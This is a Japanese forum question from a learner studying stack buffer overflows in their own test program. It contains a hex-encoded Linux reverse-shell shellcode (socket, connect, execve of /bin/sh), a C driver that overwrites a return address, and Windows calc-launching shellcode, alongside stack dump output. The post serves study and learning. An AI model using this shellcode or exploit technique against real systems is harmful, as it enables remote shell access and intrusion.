知恵袋のほうでも質問したり、調べたりしたのですが
なかなか理解できないです。
前提知識の問題だと思うのですが、まずそこからわからないのでご教授ください。
やりたいこと・これまでの過程
こちらの質問にて、
パイプを使うことで、脆弱性のあるプログラム(scanf)
にバッファを溢れさせる文字列を流し込み、リターンアドレスを書き換えることで
sub関数を呼び出すことに成功しました。
で、今回やりたいのがあらかじめ用意しておいた関数を呼び出すのではなく、
シェルコードをバッファオーバーフローを起こして実行させたいです。
最終目標として
string
1"Hello World"を出力するシェルコードを実行させたい。 2(Hello Worldではなくてはいけないわけではないが、一番簡単そうだから)
を目指しています。
本題
そこで、"Hello World!"を出力するシェルコードを作成したいです。
調べていくと・・・
cmd
1gcc
このコマンドを使えばコンパイルができると・・・。
(C言語→機械語)
これが”シェルコード”と思っていたのですが・・・
違いますよね?
cmd
1\x48\x31\xc9\x48\x8d\x79\x02\x48\x8d\x71\x01\x48\x31\xd2\x48\x8d\x41\x29\x0f\x05\x48\x89\xc3\x48\x31\xc9\x48\x89\xdf\x51\x49\xb8\xff\xff\x79\x6a\x7f\xbb\xbb\x01\x49\xff\xc0\x49\xff\xc0\x49\xff\xc0\x41\x50\x66\x89\x4c\x24\x05\x48\x89\xe6\x48\x8d\x51\x10\x48\x8d\x41\x2a\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\xff\xc6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\xff\xc6\x48\xff\xc6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x51\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x8d\x41\x3b\x0f\x05\x48\x31\xc9\x48\x31\xff\x48\x8d\x41\x3c\x0f\x05
cmd
1このアセンブラのコードを以下のオプションでコンパイルし、出来上がった実行ファイルからシェルコードの部分だけを取り出します。
実行コード exe の中の一部がシェルコードということ?
質問1
シェルコードとはなんでしょうか?
私の想像ではexeのようなすぐに実行できるような
機械語で書かれたものこそ、私の求めているシェルコード
だと思ったのですが
どうやら違うみたいです。
理解できそうにないので教えてください。
質問2
"Hello World!"を出力するCプログラム
c
1#include <stdio.h> 2#include <stdlib.h> 3 4int main(void){ 5 system("tasklist"); 6 return 0; 7} 8
を gccコマンドを使って(gccではなくてもいいけれど)
シェルコード(バッファオーバーフローで使えるような)
を生成することはできるのでしょうか?
分からないのでお願いします。
追記
c
1#include <stdio.h> 2 3int main(void) 4{ 5 for (int i = 0; i < 28; ++i) putchar(0x00); 6 putchar(0xBC); 7 putchar(0xFA); 8 putchar(0x4F); 9 putchar(0x00); 10 printf("%s", "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF"); 11} 12
パイプを使って上記のコードをscanf関数を持った脆弱性のあるコードへ流しました。
c
1asub関数のアドレス・・・000B12C6 2リターンアドレス・・・000B1CEC 3保存されたebp:004FFB0C 4f 5ローカル変数 6ローカル変数 4バイト出力 16進数 0 80 7addr:004FFA9C price:fc30066 8addr:004FFAA0 price:bc002 9addr:004FFAA4 price:4ffaf8 10addr:004FFAA8 price:0 11addr:004FFAAC price:b1cec 12addr:004FFAB0 price:b12c6 13addr:004FFAB4 price:4ffb0c 14addr:004FFAB8 price:b1cec 15addr:004FFABC price:8 16addr:004FFAC0 price:b1352 17addr:004FFAC4 price:b1352 18addr:004FFAC8 price:251000 19addr:004FFACC price:2 20addr:004FFAD0 price:7542f840 21addr:004FFAD4 price:6057d1f8 22addr:004FFAD8 price:4ffaf4 23addr:004FFADC price:fbfc922 24addr:004FFAE0 price:0 25addr:004FFAE4 price:b1352 26addr:004FFAE8 price:0 27addr:004FFAEC price:fc2e62e 28addr:004FFAF0 price:fd04e64
入力からリターンアドレスまでは28バイトよって
c
1for (int i = 0; i < 28; ++i) putchar(0x00);
28バイト適当に埋める。
c
1 putchar(0xBC); 2 putchar(0xFA); 3 putchar(0x4F); 4 putchar(0x00);
これでシェルコードが配置されるであろうアドレスに
リターンアドレスを書き換える。
c
1 printf("%s", "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF");
上記でシェルコードを配置・・・
ただ、エンディアンとかを考慮した場合結構あやしいような・・・
結果
普通、「無視」を選択すれば警告は少なくとも、失せてくれるのですが
今回では「無視」を選択しても
ループ的に警告が再度表示されるようになりました。
電卓が起動してないのだから失敗・・・ですよね?
string
1追記1: すみません。printf関数ではだめみたいですね。